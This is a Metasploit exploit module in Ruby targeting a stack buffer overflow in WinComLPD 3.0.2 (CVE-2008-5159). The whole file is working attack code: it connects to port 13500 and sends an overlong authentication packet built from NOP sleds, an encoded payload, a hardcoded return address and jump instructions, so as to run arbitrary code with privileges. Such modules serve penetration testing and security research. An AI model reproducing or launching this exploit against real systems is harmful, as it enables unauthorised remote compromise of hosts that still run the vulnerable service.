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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'WinComLPD Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
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          By sending an overly long authentication packet to the remote
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          administration service, an attacker may be able to execute arbitrary
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          code.
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        },
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        'Author' => 'MC',
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2008-5159'],
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          ['OSVDB', '42861'],
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          ['BID', '27614'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 600,
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          'BadChars' => "\x00\x0a",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2008-02-04',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(13500)], self)
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  end
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  def exploit
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    connect
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    # 'net start lpdservice' after you migrate!
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    sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
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    sploit << make_nops(872 - payload.encoded.length)
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    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
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    sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
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    sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
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    print_status("Trying target #{target.name}...")
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    sock.puts(sploit)
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    select(nil, nil, nil, 5)
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    handler
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    disconnect
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  end
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end
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